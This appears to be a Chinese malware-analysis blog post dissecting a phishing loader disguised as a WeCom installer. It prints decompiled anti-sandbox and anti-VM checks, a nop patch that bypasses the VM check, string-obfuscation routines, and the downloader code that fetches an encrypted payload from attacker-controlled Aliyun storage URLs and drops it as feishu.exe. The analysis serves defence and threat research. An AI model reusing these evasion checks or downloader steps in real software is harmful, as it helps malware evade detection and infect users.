反沙箱钓鱼远控样本分析
2024-7-1 17:54:36 Author: mp.weixin.qq.com(查看原文) 阅读量:17 收藏

本文编写时攻击者已经撤了资源,并且互联网上没有找到 样本资料,因此部分流程无法分析。但是已经基本把反沙箱、反虚拟机以及混淆看了。


样本信息

样本信息
微步:https://s.threatbook.com/report/file/b3e8070d005d4f68f5a2bd3e4bed287b2b1dd9e8ee3d3ceb409c58f0f2d39d28

报告:b3e8070d005d4f68f5a2bd3e4bed287b2b1dd9e8ee3d3ceb409c58f0f2d39d28-report.pdf
hash
SHA256:b3e8070d005d4f68f5a2bd3e4bed287b2b1dd9e8ee3d3ceb409c58f0f2d39d28
MD5:403eda5d13e6fdf8ff839442b9536001
SHA1:c45c4c9e01dfb9ac48f05ff6cc23f0238021a946
样本特殊的点在于,反沙箱做得很好,微步查不出来,行为也就无从分析了。



那就下载看一下。


行为观察

下载样本,观察,发现伪装成企业微信安装程序,加了一些版权信息。




打开火绒剑,过滤这个进程。



双击样本,没有要管理员权限,注册表操作了很多东西。



在虚拟机中执行,他获取了一些注册表信息,比如current user,机器语言等信息,属于默认操作,然后打开了一系列system32的dll。没有什么敏感的操作
直接看静态分析吧。


loader逻辑

首先查壳,无壳,C++编写。



脱了符号表。

来到winmain,开始分析。

sub_140006C50 检索桌面文件数量

获取已知文件夹(这里是用户桌面)路径。
if ( SHGetKnownFolderPath(&rfid, 0, 0i64, &ppszPath) < 0 )
{
LODWORD(v9) = 1;
}
else
{
v8 = sub_140006C50(ppszPath);
CoTaskMemFree(ppszPath);
v9 = v8 < 6;
}
这个rfid的值如下:
.rdata:0000000140038780 ; const KNOWNFOLDERID rfid
.rdata:0000000140038780 3A CC BF B4 2C DB 4C 42 B0 29+rfid dd 0B4BFCC3Ah ; Data1
.rdata:0000000140038780 7F E9 9A 87 C6 41 ; DATA XREF: WinMain+150↑o
.rdata:0000000140038780 dw 0DB2Ch ; Data2
.rdata:0000000140038780 dw 424Ch ; Data3
.rdata:0000000140038780 db 0B0h, 29h, 7Fh, 0E9h, 9Ah, 87h, 0C6h, 41h; Data4
在官网(https://learn.microsoft.com/en-us/windows/win32/shell/knownfolderid)找到了对应的GUID,是**FOLDERID_Desktop,**也就是当前用户的桌面。


访问默认用户需要管理员权限。

跟进sub_140006C50,传入了桌面路径。

其中,经过对路径的处理(增加通配符
"\\*"到路径末尾),调用FindFirstFileW,获取桌面下第一个find的文件的句柄,存放到_WIN32_FIND_DATAW类型的FindFileData中。
v4 = (const WCHAR *)lpFileName;
if ( si128.m128i_i64[1] >= 8ui64 )
v4 = lpFileName[0];
FirstFileW = FindFirstFileW(v4, &FindFileData);
typedef struct _WIN32_FIND_DATAW {
DWORD dwFileAttributes; // 文件属性,如只读、隐藏、系统文件等
FILETIME ftCreationTime; // 文件创建时间
FILETIME ftLastAccessTime; // 文件最后访问时间
FILETIME ftLastWriteTime; // 文件最后写入时间
DWORD nFileSizeHigh; // 文件大小的高32位,用于大文件
DWORD nFileSizeLow; // 文件大小的低32位
DWORD dwReserved0; // 保留字段,不使用
DWORD dwReserved1; // 保留字段,不使用
WCHAR cFileName[MAX_PATH]; // 文件名
WCHAR cAlternateFileName[14]; // 文件的8.3缩写格式名称,不常用
DWORD dwFileType; // 文件类型,已废弃,不应使用
DWORD dwCreatorType; // 创建者类型,已废弃,不应使用
WORD wFinderFlags; // 查找标志,已废弃,不应使用
} WIN32_FIND_DATAW, *PWIN32_FIND_DATAW, *LPWIN32_FIND_DATAW;
后续对这个数据的处理,获取属性,如果不是16(FILE_ATTRIBUTE_DIRECTORY 16 (0x00000010) 标识目录的句柄),则计数器加一,并继续寻找下一个文件数据,直到检查完所有桌面的文件,返回非目录文件的数量。
do
{
if ( FindFileData.dwFileAttributes != 16 )
++v1;
}
while ( FindNextFileW(FirstFileW, &FindFileData) );
FindClose(FirstFileW);
return v1;
}
如果桌面存放的非目录文件小于六个(五个以内),则v9为真,退出程序。
v8 = sub_140006C50(ppszPath);
CoTaskMemFree(ppszPath);
v9 = v8 < 6;

sub_140003B10 获取当前进程目录下文件名

紧接着的是sub_140003B10,其中获取当前进程所在目录。
GetCurrentDirectoryA(0x104u, Buffer);
经过对字符的处理后前往19标签。
do
++v2;
while ( Buffer[v2] );
if ( v2 > 0x7FFFFFFFFFFFFFFFi64 )
sub_1400014C0();
v37 = 15i64;
if ( v2 < 0x10 )
{
v36 = v2;
memcpy(lpFileName, Buffer, v2);
*((_BYTE *)lpFileName + v2) = 0;
goto LABEL_19;
}
又是寻找当前进程目录文件。
FirstFileA = FindFirstFileA(v8, &FindFileData);
不过这里是对比文件信息,看一下这个大循环。
 
do
{
v31 = 20;
v30[0] = 46; // '.'当前目录
if ( !strcmp(FindFileData.cFileName, (const char *)v30) )
continue;
v32[1] = 107;
v32[2] = 107;
strcpy((char *)v32, "..");// 父目录
if ( !strcmp(FindFileData.cFileName, (const char *)v32) || (FindFileData.dwFileAttributes & 0x10) != 0 )
continue;
v28 = 0i64;
v29 = 0ui64;
v13 = -1i64;
do
++v13;
while ( FindFileData.cFileName[v13] );
if ( v13 > 0x7FFFFFFFFFFFFFFFi64 )
sub_1400014C0();
*((_QWORD *)&v29 + 1) = 15i64;
if ( v13 < 0x10 )
{
*(_QWORD *)&v29 = v13;
memcpy(&v28, FindFileData.cFileName, v13);
*((_BYTE *)&v28 + v13) = 0;
goto LABEL_51;
}
v14 = v13 | 0xF;
if ( (v13 | 0xF) > 0x7FFFFFFFFFFFFFFFi64 )
{
v14 = 0x7FFFFFFFFFFFFFFFi64;
v15 = 0x8000000000000027ui64;
LABEL_45:
v17 = operator new(v15);
if ( !v17 )
goto LABEL_60;
v18 = (_QWORD *)(((unsigned __int64)v17 + 39) & 0xFFFFFFFFFFFFFFE0ui64);
*(v18 - 1) = v17;
goto LABEL_50;
}
if ( v14 < 0x16 )
v14 = 22i64;
v16 = v14 + 1;
if ( v14 + 1 >= 0x1000 )
{
v15 = v14 + 40;
if ( v14 + 40 <= v14 + 1 )
sub_140001420(v16);
goto LABEL_45;
}
if ( v14 == -1i64 )
v18 = 0i64;
else
v18 = operator new(v16);
LABEL_50:
*(_QWORD *)&v28 = v18;
*(_QWORD *)&v29 = v13;
*((_QWORD *)&v29 + 1) = v14;
memcpy(v18, FindFileData.cFileName, v13);
*((_BYTE *)v18 + v13) = 0;
LABEL_51:
v19 = *((_QWORD *)&v33 + 1);
if ( *((_QWORD *)&v33 + 1) == v34 )
{
sub_140013FE0(&v33, *((_QWORD *)&v33 + 1), &v28);
v20 = *((_QWORD *)&v29 + 1);
}
else
{
**((_OWORD **)&v33 + 1) = v28;
*(_OWORD *)(v19 + 16) = v29;
v20 = 15i64;
LOBYTE(v28) = 0;
*((_QWORD *)&v33 + 1) += 32i64;
}
if ( v20 >= 0x10 )
{
v21 = (void *)v28;
if ( v20 + 1 >= 0x1000 )
{
v21 = *(void **)(v28 - 8);
if ( (unsigned __int64)(v28 - (_QWORD)v21 - 8) > 0x1F )
LABEL_60:
invalid_parameter_noinfo_noreturn();
}
j_j_free_0(v21);
}
}
while ( FindNextFileA(FirstFileA, &FindFileData) );
整体操作就是跳过"."和"..",将剩余的文件名存放在一个数据结构里,最后返回数据结构。
v22 = v34;
v34 = 0i64;
v23 = *((_QWORD *)&v33 + 1);
v24 = 0i64;
v25 = v33;
v26 = 0i64;
v33 = 0ui64;
*a1 = v25;
a1[1] = v23;
a1[2] = v22;
.....
return a1;
这个a1其实就是一开始传入的block void参数。现在充当索引数组的作用。

RECENT目录文件数与GetTickCount限制

回到win main,继续往下。
ppszPath = 0i64;
if ( SHGetKnownFolderPath(&stru_140038790, 0, 0i64, &ppszPath) < 0 )
goto LABEL_149;
sub_140011810(lpFileName, ppszPath);
append(lpFileName, L"\\*.*");
获取FOLDERID_Recent(C:\Users\Wang\AppData\Roaming\Microsoft\Windows\Recent),并追加通配符匹配所有带后缀的文件。
.rdata:0000000140038790 81 C0 50 AE D2 EB 8A 43 86 55+stru_140038790 dd 0AE50C081h ; Data1
.rdata:0000000140038790 8A 09 2E 34 98 7A ; DATA XREF: WinMain+2AF↑o
.rdata:0000000140038790 dw 0EBD2h ; Data2
.rdata:0000000140038790 dw 438Ah ; Data3
.rdata:0000000140038790 db 86h, 55h, 8Ah, 9, 2Eh, 34h, 98h, 7Ah ; Data4


继续获取目录下文件信息,获取非目录文件数量。
v22 = (const WCHAR *)lpFileName;
if ( v85 >= 8 )
v22 = lpFileName[0];
FirstFileW = FindFirstFileW(v22, &FindFileData);
if ( FirstFileW != (HANDLE)-1i64 )
{
do
{
v24 = v21 + 1;
if ( (FindFileData.dwFileAttributes & 0x10) != 0 )
v24 = v21;
v21 = v24;
}
while ( FindNextFileW(FirstFileW, &FindFileData) );
FindClose(FirstFileW);
}
CoTaskMemFree(ppszPath);
如果数量小于等于5,或者GetTickCount()计时器值小于0x75300(480000ms,是否少于八小时),就会退出程序。这个GetTickCount的最大值是49.7天(0xFFFFFFFF)。
if ( v21 <= 5 || GetTickCount() < 0x75300 || (unsigned __int8)sub_1400040C0() || (unsigned int)sub_140004570() )
goto LABEL_149;
这里还有两个函数,分别是与时间间隔和服务扫描有关的,分别分析。

sub_1400040C0 时间间隔保护

v0 = Xtime_get_ticks() / 10000;
perf_frequency = Query_perf_frequency();
perf_counter = Query_perf_counter();
if ( perf_frequency == 10000000 )
v3 = 100 * perf_counter;
else
v3 = 1000000000 * (perf_counter / perf_frequency) + 1000000000 * (perf_counter % perf_frequency) / perf_frequency;
v4 = v3 + 300000000;
if ( v3 >= 0x7FFFFFFFEE1E5CFFi64 )
v4 = 0x7FFFFFFFFFFFFFFFi64;
while ( 1 )
{
v5 = Query_perf_frequency();
v6 = Query_perf_counter();
v7 = v5 == 10000000 ? 100 * v6 : 1000000000 * (v6 / v5) + 1000000000 * (v6 % v5) / v5;
ticks = Xtime_get_ticks();
if ( v7 >= v4 )
break;
v9 = 100 * ticks;
v10 = v4 - v7;
v11 = v9 - 1391067136;
v12 = (double)((int)v4 - (int)v7);
if ( v12 <= 8.64e14 )
v11 = v10 + v9;
v13 = v9 + v10;
v14 = v9 + 864000000000000i64;
if ( v12 <= 8.64e14 )
v14 = v13;
v15 = (__int64)((unsigned __int128)(v14 * (__int128)0x112E0BE826D694B3i64) >> 64) >> 26;
v17.sec = (v15 >> 63) + v15;
v17.nsec = v11 - 1000000000 * LODWORD(v17.sec);
Thrd_sleep(&v17);
}
return (int)(((ticks / 10000 + -300 - v0) ^ ((unsigned __int64)(ticks / 10000 + -300 - (int)v0) >> 32))
- ((unsigned __int64)(ticks / 10000 + -300 - (int)v0) >> 32)) > 100;

sub_1400040C0 沙箱服务扫描

OpenSCManagerW打开服务管理器,localalloc分配一个存放sevice枚举状态的变量。
v0 = OpenSCManagerW(0i64, 0i64, 4u);
if ( !v0 )
return 0xFFFFFFFFi64;
v1 = 0i64;
pcbBytesNeeded = 0;
ServicesReturned = 0;
ResumeHandle = 0;
v2 = (struct _ENUM_SERVICE_STATUSA *)LocalAlloc(0x40u, 0x10000ui64);
if ( !EnumServicesStatusA(v0, 0x30u, 3u, v2, 0x10000u, &pcbBytesNeeded, &ServicesReturned, &ResumeHandle) )
return 0xFFFFFFFFi64;
typedef struct _ENUM_SERVICE_STATUSA {
LPSTR lpServiceName;
LPSTR lpDisplayName;
SERVICE_STATUS ServiceStatus;
} ENUM_SERVICE_STATUSA, *LPENUM_SERVICE_STATUSA;
enumServicesStatusA函数枚举指定的服务控制管理器数据库中的服务。提供了每个服务的名称和状态。
BOOL EnumServicesStatusA(
[in] SC_HANDLE hSCManager, // 输入: 服务控制管理器的句柄
[in] DWORD dwServiceType, // 输入: 要枚举的服务类型
[in] DWORD dwServiceState, // 输入: 要枚举的服务状态
[out, optional] LPENUM_SERVICE_STATUSA lpServices, // 输出: 枚举服务的状态数组
[in] DWORD cbBufSize, // 输入: lpServices 缓冲区的大小(字节)
[out] LPDWORD pcbBytesNeeded, // 输出: 需要的字节数,如果缓冲区太小则返回所需大小
[out] LPDWORD lpServicesReturned, // 输出: 返回的服务状态结构的数量
[in, out, optional] LPDWORD lpResumeHandle // 输入/输出: 用于继续枚举的恢复句柄
);
这里静态调试摸不明白,动调一手,符号找到EnumServicesStatusA,然后摸到这个解密函数,运行完之后可以观察到,这里获取到的服务是AJRoute(AllJoyn Router Service),解密之后rax寄存器存放VMware Tools。



下面还有Virtual MachineVirtualBox Guest。
一直运行到vmware tools服务,进程就会退出。

这里可以通过nop实现绕过。
00007FF67361465E | E8 1DBA0000 | call 同济大学文档保护系统.7FF673620080 |
00007FF673614663 | 48:8D3C5B | lea rdi,qword ptr ds:[rbx+rbx*2] | rdi:&"vmvss"
00007FF673614667 | 48:8BD0 | mov rdx,rax | rdx:"VMware Tools"
00007FF67361466A | 48:C1E7 04 | shl rdi,4 | rdi:&"vmvss"
00007FF67361466E | 49:03FE | add rdi,r14 | rdi:&"vmvss", r14:&"AJRouter"
00007FF673614671 | 48:8B4F 08 | mov rcx,qword ptr ds:[rdi+8] | [rdi+08]:"VMware Snapshot Provider"
00007FF673614675 | FF15 9D3D0300 | call qword ptr ds:[<strstr>] |
00007FF67361467B | 48:85C0 | test rax,rax |
00007FF67361467E | 90 | nop |
00007FF67361467F | 90 | nop |
00007FF673614680 | 90 | nop |
00007FF673614681 | 90 | nop |
00007FF673614682 | 90 | nop |
00007FF673614683 | 90 | nop |
00007FF673614684 | 66:0F6F0D F4BE0300 | movdqa xmm1,xmmword ptr ds:[7FF67365058 |
00007FF67361468C | 48:8D4D 90 | lea rcx,qword ptr ss:[rbp-70] |
00007FF673614690 | 0F57C0 | xorps xmm0,xmm0 |
00007FF673614693 | 66:0F7F4D C0 | movdqa xmmword ptr ss:[rbp-40],xmm1 |

内存大小检查

GlobalMemoryStatusEx(&Buffer);
if ( (Buffer.ullTotalPhys & 0x8000000000000000ui64) != 0i64 )
ullTotalPhys_low = (double)(int)(Buffer.ullTotalPhys & 1 | (Buffer.ullTotalPhys >> 1))
+ (double)(int)(Buffer.ullTotalPhys & 1 | (Buffer.ullTotalPhys >> 1));
else
ullTotalPhys_low = (double)SLODWORD(Buffer.ullTotalPhys);
v4 = v81;
if ( ullTotalPhys_low * 9.313225746154785e-10 >= 4.0 && !(unsigned int)sub_140004E60(v81, v6) )

外联

仍旧在main函数中。
首先是加密在代码中的二进制数据,把他按照给定的算法解密成url。
v29 = "01110111011100101001101100110001001110010100101010101101010110011100010100001111101110000101000111110001111111"
"10101000010110101010100100110011100010001001001100001111011000001111111000010010101111011000010010010100111110"
"10110000000110010100101101111111111100001101101100110101110100000101000000111010000101010100001101011010001101"
"00110100010110010110110011111111101001000000000111011101000010010010110010110110100110101011111011110010110100"
"11110110110111100101100111101110110001111110001101011110101110100010101001101010110000100101111010001000111010"
"01111001100111000101011100110100110101011001111110111001000111100100100000110000010011001100010110011011110111"
"100011111011111001110011110001010100001111011111010100000";
v30 = 5i64;
v31 = 5i64;
do
{
*(_OWORD *)v28 = *(_OWORD *)v29;
*((_OWORD *)v28 + 1) = *((_OWORD *)v29 + 1);
*((_OWORD *)v28 + 2) = *((_OWORD *)v29 + 2);
*((_OWORD *)v28 + 3) = *((_OWORD *)v29 + 3);
*((_OWORD *)v28 + 4) = *((_OWORD *)v29 + 4);
*((_OWORD *)v28 + 5) = *((_OWORD *)v29 + 5);
*((_OWORD *)v28 + 6) = *((_OWORD *)v29 + 6);
v28 += 128;
*((_OWORD *)v28 - 1) = *((_OWORD *)v29 + 7);
v29 += 128;
--v31;
}
while ( v31 );
*(_OWORD *)v28 = *(_OWORD *)v29;
*((_OWORD *)v28 + 1) = *((_OWORD *)v29 + 1);
*((_OWORD *)v28 + 2) = *((_OWORD *)v29 + 2);
*((_OWORD *)v28 + 3) = *((_OWORD *)v29 + 3);
*((_QWORD *)v28 + 8) = *((_QWORD *)v29 + 8);
*((_DWORD *)v28 + 18) = *((_DWORD *)v29 + 18);
v28[76] = v29[76];
v27[717] = 0;
v95[1] = 0i64;
v32 = operator new(0xE20ui64);
v95[0] = (__int64)v32;
v96 = 3611i64;
v97 = 3615i64;
memcpy(v32, aFrequency128Le, 0xE1Bui64);
v32[3611] = 0;
sub_140003840(v106, &Buffer, v95);
sub_140004830(v93, v106, v4, v6);
v33 = v93;
if ( v94.m128i_i64[1] >= 0x10ui64 )
v33 = (__int64 *)v93[0];
v34 = (char *)v33 + v94.m128i_i64[0];
v35 = v93;
if ( v94.m128i_i64[1] >= 0x10ui64 )
v35 = (__int64 *)v93[0];
sub_140012AE0(Block, v35, v34);
逆向算法不是我的专长,这里直接用dbg调出来,从内存里看。

获得http的信息装填到临时变量中,后面解析。
v36 = InternetOpenW(L"Baidu", 1u, 0i64, 0i64, 0);
v37 = v36;
v38 = Block;
if ( v83.m128i_i64[1] >= 8ui64 )
v38 = (void **)Block[0];
v39 = InternetOpenUrlW(v36, (LPCWSTR)v38, 0i64, 0, 0x80000000, 0i64);
v40 = v39;
if ( !v39 )
{
v41 = v83.m128i_u64[1];
goto LABEL_60;
}
LODWORD(ppszPath) = 4;
HttpQueryInfoW(v39, 0x20000013u, &v81, (LPDWORD)&ppszPath, 0i64);
InternetCloseHandle(v40);
InternetCloseHandle(v37);
解出来的结果:
00007FF6736173B8 | FF15 C2100300 | call qword ptr ds:[<InternetOpenUrlW>] |
00007FF6736173BE | 48:8BF8 | mov rdi,rax | rdi:"{\"frequency\": 128, \"left\": {\"frequency\": 59, \"left\": {\"frequency\": 27, \"left\": {\"frequency\": 12, \"left\": {\"frequency\": 6, \"left\": {\"char\": \"f\", \"frequency\": 3}, \"right\": {\"char\": \"w\", \"frequency\": 3}}, \"right\": {\"frequency\": 6, \"left\": {\"char\": \"p\", \"frequency\": 3}, \"right\": {\"char\": \"/\", \"frequency\": 3}}}, \"right\": {\"frequency\": 15, \"left\": {\"frequency\": 7, \"left\": {\"char\": \"u\", \"frequency\": 3}, \"right\": {\
00007FF6736173C1 | 48:85C0 | test rax,rax |
00007FF6736173C4 | 75 44 | jne 同济大学文档保护系统.7FF67361740A |
00007FF6736173C6 | 48:8B55 B8 | mov rdx,qword ptr ss:[rbp-48] |
00007FF6736173CA | 48:83FA 08 | cmp rdx,8 | rdx:L"https://fish-123.oss-cn-shanghai.aliyuncs.com/2d471a8f-8944-4b2d-9c84-a9fa32635d7b.txt"
下载一个txt到内存,暂时存储。

还会有一个url存储在内存中,会再次下载。
https://fish-123.oss-cn-shanghai.aliyuncs.com/27f6fe91-b4d3-4dd9-89cd-03b8ed32fe0d.jpg


中途有messagebox跳出骚扰窗口。

这个口令硬编码:

接着下载刚刚新的jpg云文件,跟进sub_140006A60
从aliyun下载加密文件(
https://fish-123.oss-cn-shanghai.aliyuncs.com/27f6fe91-b4d3-4dd9-89cd-03b8ed32fe0d.jpg)
https://fish-123.oss-cn-shanghai.aliyuncs.com/27f6fe91-b4d3-4dd9-89cd-03b8ed32fe0d.jpg
接着程序生成feishu.exe(恶意程序)。
首先生成恶意程序路径。
memset(&FindFileData, 0, 37);
FindFileData.dwReserved1 = 0;
*(_DWORD *)FindFileData.cFileName = 53;
*(__m128i *)&FindFileData.cFileName[2] = _mm_load_si128((const __m128i *)&xmmword_140040380);
*(__m128i *)&FindFileData.cFileName[10] = _mm_load_si128((const __m128i *)&xmmword_140040520);
*(__m128i *)&FindFileData.cFileName[18] = _mm_load_si128((const __m128i *)&xmmword_14003FF20);
*(__m128i *)&FindFileData.cFileName[26] = _mm_load_si128((const __m128i *)&xmmword_14003FFC0);
*(__m128i *)&FindFileData.cFileName[34] = _mm_load_si128((const __m128i *)&xmmword_14003FFB0);
*(__m128i *)&FindFileData.cFileName[42] = _mm_load_si128((const __m128i *)&xmmword_14003FF80);
*(__m128i *)&FindFileData.cFileName[50] = _mm_load_si128((const __m128i *)&xmmword_1400401C0);
*(__m128i *)&FindFileData.cFileName[58] = _mm_load_si128((const __m128i *)&xmmword_140040370);
*(_DWORD *)&FindFileData.cFileName[66] = 83;
*(_DWORD *)&FindFileData.cFileName[68] = 82;
v48 = sub_140008070(&FindFileData);
这一定是某个三方库(不知道有没有人知道),前面也有用到的(vmware服务名,文章里没记录)。
__int64 __fastcall sub_140008070(__int64 a1)
{
__int64 result; // rax

*(_BYTE *)a1 = (char)(19 * (*(_DWORD *)(a1 + 40) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 1) = (char)(19 * (*(_DWORD *)(a1 + 44) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 2) = (char)(19 * (*(_DWORD *)(a1 + 48) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 3) = (char)(19 * (*(_DWORD *)(a1 + 52) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 4) = (char)(19 * (*(_DWORD *)(a1 + 56) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 5) = (char)(19 * (*(_DWORD *)(a1 + 60) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 6) = (char)(19 * (*(_DWORD *)(a1 + 64) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 7) = (char)(19 * (*(_DWORD *)(a1 + 68) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 8) = (char)(19 * (*(_DWORD *)(a1 + 72) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 9) = (char)(19 * (*(_DWORD *)(a1 + 76) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 10) = (char)(19 * (*(_DWORD *)(a1 + 80) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 11) = (char)(19 * (*(_DWORD *)(a1 + 84) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 12) = (char)(19 * (*(_DWORD *)(a1 + 88) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 13) = (char)(19 * (*(_DWORD *)(a1 + 92) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 14) = (char)(19 * (*(_DWORD *)(a1 + 96) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 15) = (char)(19 * (*(_DWORD *)(a1 + 100) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 16) = (char)(19 * (*(_DWORD *)(a1 + 104) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 17) = (char)(19 * (*(_DWORD *)(a1 + 108) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 18) = (char)(19 * (*(_DWORD *)(a1 + 112) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 19) = (char)(19 * (*(_DWORD *)(a1 + 116) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 20) = (char)(19 * (*(_DWORD *)(a1 + 120) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 21) = (char)(19 * (*(_DWORD *)(a1 + 124) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 22) = (char)(19 * (*(_DWORD *)(a1 + 128) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 23) = (char)(19 * (*(_DWORD *)(a1 + 132) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 24) = (char)(19 * (*(_DWORD *)(a1 + 136) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 25) = (char)(19 * (*(_DWORD *)(a1 + 140) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 26) = (char)(19 * (*(_DWORD *)(a1 + 144) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 27) = (char)(19 * (*(_DWORD *)(a1 + 148) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 28) = (char)(19 * (*(_DWORD *)(a1 + 152) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 29) = (char)(19 * (*(_DWORD *)(a1 + 156) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 30) = (char)(19 * (*(_DWORD *)(a1 + 160) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 31) = (char)(19 * (*(_DWORD *)(a1 + 164) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 32) = (char)(19 * (*(_DWORD *)(a1 + 168) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 33) = (char)(19 * (*(_DWORD *)(a1 + 172) - 70) % 127 + 127) % 127;
*(_BYTE *)(a1 + 34) = (char)(19 * (*(_DWORD *)(a1 + 176) - 70) % 127 + 127) % 127;
result = a1;
*(_WORD *)(a1 + 35) = (unsigned __int8)((19 * (*(_DWORD *)(a1 + 180) - 70) % 127 + 127) % 127);
return result;
}

恶意文件路径:C:\\Users\\Public\\Downloads\\feishu.exe
00007FF7851D76B5 | E8 B6090000 | call 同济大学文档保护系统.7FF7851D8070 | 形成feishu.exe
00007FF7851D76BA | 48:8BD0 | mov rdx,rax | rdx:"C:\\Users\\Public\\Downloads\\feishu.exe", rax:"C:\\Users\\Public\\Downloads\\feishu.exe"
00007FF7851D76BD | 48:8D4D E0 | lea rcx,qword ptr ss:[rbp-20] |
00007FF7851D76C1 | E8 2AA40000 | call 同济大学文档保护系统.7FF7851E1AF0 |
再说一句,样本里的几乎所有关键字符串都用了混淆的三方库,比如这里sub_140007D00生成的baidudocument。
__int64 __fastcall sub_140007D00(__int64 a1)
{
__int64 result; // rax

*(_BYTE *)a1 = (char)(15 * (*(_DWORD *)(a1 + 16) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 1) = (char)(15 * (*(_DWORD *)(a1 + 20) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 2) = (char)(15 * (*(_DWORD *)(a1 + 24) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 3) = (char)(15 * (*(_DWORD *)(a1 + 28) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 4) = (char)(15 * (*(_DWORD *)(a1 + 32) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 5) = (char)(15 * (*(_DWORD *)(a1 + 36) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 6) = (char)(15 * (*(_DWORD *)(a1 + 40) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 7) = (char)(15 * (*(_DWORD *)(a1 + 44) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 8) = (char)(15 * (*(_DWORD *)(a1 + 48) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 9) = (char)(15 * (*(_DWORD *)(a1 + 52) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 10) = (char)(15 * (*(_DWORD *)(a1 + 56) - 93) % 127 + 127) % 127;
*(_BYTE *)(a1 + 11) = (char)(15 * (*(_DWORD *)(a1 + 60) - 93) % 127 + 127) % 127;
result = a1;
*(_WORD *)(a1 + 12) = (unsigned __int8)((15 * (*(_DWORD *)(a1 + 64) - 93) % 127 + 127) % 127);
return result;
}

进入sub_140006A60下载恶意文件。
sub_140012AE0(lpszUrl, a2, v3);
v4 = InternetOpenW(L"Baidu", 1u, 0i64, 0i64, 0);
v5 = v4;
v6 = (const WCHAR *)lpszUrl;
if ( v18 >= 8 )
v6 = lpszUrl[0];
v7 = InternetOpenUrlW(v4, v6, 0i64, 0, 0x80000000, 0i64);
*(_OWORD *)Src = 0i64;
Src[2] = 0i64;
Src[3] = 15i64;
*(_BYTE *)Src = 0;
dwNumberOfBytesRead = 0;
while ( InternetReadFile(v7, Buffer, 0x400u, &dwNumberOfBytesRead) )
{
if ( !dwNumberOfBytesRead )
break;
v9 = dwNumberOfBytesRead;
v10 = Src[2];
v11 = Src[3];
if ( dwNumberOfBytesRead > v11 - v10 )
{
sub_140012CF0(Src, dwNumberOfBytesRead, v8, Buffer, dwNumberOfBytesRead);
}
else
{
Src[2] = v10 + dwNumberOfBytesRead;
v12 = Src;
if ( v11 >= 0x10 )
v12 = (_QWORD *)*Src;
v13 = (char *)v12 + v10;
memmove((char *)v12 + v10, Buffer, v9);
v13[v9] = 0;
}
}
InternetCloseHandle(v7);
InternetCloseHandle(v5);
这里由于已经被标记了(文章编写时距离第一次提交已经过去快一个月了),攻击人员撤销了资源,所以返回error xml。
00000277401DACA0 EE FE EE FE EE FE EE FE 40 DA FB A7 9E 0C 00 3F îþîþîþîþ@Úû§...?
00000277401DACB0 3C 3F 78 6D 6C 20 76 65 72 73 69 6F 6E 3D 22 31 <?xml version="1
00000277401DACC0 2E 30 22 20 65 6E 63 6F 64 69 6E 67 3D 22 55 54 .0" encoding="UT
00000277401DACD0 46 2D 38 22 3F 3E 0A 3C 45 72 72 6F 72 3E 0A 20 F-8"?>.<Error>.
00000277401DACE0 20 3C 43 6F 64 65 3E 4E 6F 53 75 63 68 42 75 63 <Code>NoSuchBuc
00000277401DACF0 6B 65 74 3C 2F 43 6F 64 65 3E 0A 20 20 3C 4D 65 ket</Code>. <Me
00000277401DAD00 73 73 61 67 65 3E 54 68 65 20 73 70 65 63 69 66 ssage>The specif
00000277401DAD10 69 65 64 20 62 75 63 6B 65 74 20 64 6F 65 73 20 ied bucket does
00000277401DAD20 6E 6F 74 20 65 78 69 73 74 2E 3C 2F 4D 65 73 73 not exist.</Mess
00000277401DAD30 61 67 65 3E 0A 20 20 3C 52 65 71 75 65 73 74 49 age>. <RequestI
00000277401DAD40 64 3E 36 36 36 43 35 39 33 36 45 35 43 32 33 41 d>666C5936E5C23A
00000277401DAD50 33 38 33 31 35 37 30 38 38 35 3C 2F 52 65 71 75 3831570885</Requ
00000277401DAD60 65 73 74 49 64 3E 0A 20 20 3C 48 6F 73 74 49 64 estId>. <HostId
00000277401DAD70 3E 66 69 73 68 2D 31 32 33 2E 6F 73 73 2D 63 6E >fish-123.oss-cn
